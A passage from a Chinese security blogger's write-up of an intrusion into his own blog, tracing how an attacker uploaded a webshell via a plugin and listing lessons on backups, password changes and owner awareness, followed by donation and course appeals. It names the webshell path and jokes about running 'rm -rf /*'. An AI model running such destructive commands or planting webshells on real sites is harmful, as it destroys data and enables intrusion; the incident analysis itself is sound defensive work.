然后从 10.47 一直到 10.52 这 5 分钟时间内一直进行附件上传 getshell 测试,发现并不顺利。

研究插件 getshell

2022-02-08 11:15 Hexman 开始关注到插件地方可能可以 getshell 了:

终于在 2022-02-08 11:44 的时候成功了,shell 的路径为:/zb_users/incas/incas.php

最终核对一下

shell 没有问题,确实是 webshell:

再看下 Hexman 的发群时间也完美符合:

getshell 第一时间上传了个 txt 并发群里面了:

https://www.sqlsec.com/1.txt

至此 Hexman 的全过程的攻击线路也全部理清,人证物证都在,直接 110 走起了(手动狗头):

定期备份日志源码

备份日志方便溯源抓人,备份源码以便东山再起,总之常备份是个好习惯:

提高站长安全意识

找站长聊聊,让他不要轻易配合陌生人的操作:

继续提高密码复杂度

最后更改一下已经泄露的密码。

总结

本次 Hexman 的渗透还是比较贴近实战的,没想到国光我也可以翻车,大意了,没有闪,233333333333

最后提醒一下,非法渗透是违法的哦,如果我们互不认识的话,你渗透的我的站点,我会看日志溯源抓人的哦,什么你要直接 rm -rf /* ?? 23333 阿里云那边也有快照备份哦,想啥呢,总之写本文更多意义是思路分享和纪念一下,大家看看就好了,就酱了,下次见!

支持

本文可能实际上也没有啥技术含量,但是写起来还是比较浪费时间的,在这个喧嚣浮躁的时代,个人博客越来越没有人看了,写博客感觉一直是用爱发电的状态。如果你恰巧财力雄厚,感觉本文对你有所帮助的话,可以考虑打赏一下本文,用以维持高昂的服务器运营费用(域名费用、服务器费用、CDN费用等)

微信
支付宝

国光我还重写打赏页面 用以感谢 支持我的朋友,详情请看 打赏列表 | 国光


亲爱的读者们,在这个信息爆炸的时代,网络安全的重要性日益凸显,但同时,这个行业的挑战和误解也随之而来。作为一名网络安全的忠实守护者,我有幸在这个领域深耕多年,见证了无数技术的进步与变迁。

我始终坚信,知识的力量能够改变世界。因此,我用心制作了网络安全系列课程,不仅希望传授给大家宝贵的知识,更希望激发大家对网络安全的热爱和责任感。现在,我正准备推出第二期课程,并更新备受期待的内网安全教程,这是我对网络安全教育事业的承诺和热爱。

然而,正如大家所知,网络安全行业充满了不确定性和挑战。攻击门槛也在不断提高,即便是有 10 年经验的安全专家,有时也可能无法及时发现最新的漏洞,甚至在外人眼中,他们的努力和成就可能与实习生无异。但我相信,真正的价值和成就,是在于我们对知识的执着追求和对技术的不懈探索。

在完成这些课程后,我将暂时离开网络安全领域,转向其他行业。这不仅是一个艰难的决定,也是一个新的开始。但在此之前,我希望能够完成我的心愿,为大家带来更高质量的课程。

如果您对我的课程感兴趣,或者认同我对网络安全教育的执着和热情,请考虑购买我的课程,支持我的工作。您的支持不仅是对我努力的认可,更是对网络安全教育事业的一份贡献。

感谢每一位读者的陪伴和支持,让我们共同守护这个数字世界的安全!

]]>
<p>回想起上次博客被黑,还是在上次,不禁令人感慨。细心的网友发现我这里用了“又”字,确实,我博客在几年前被黑过一次,和这次有点异曲同工,但这次更加精彩一点,下面容国光我一一说来。</p>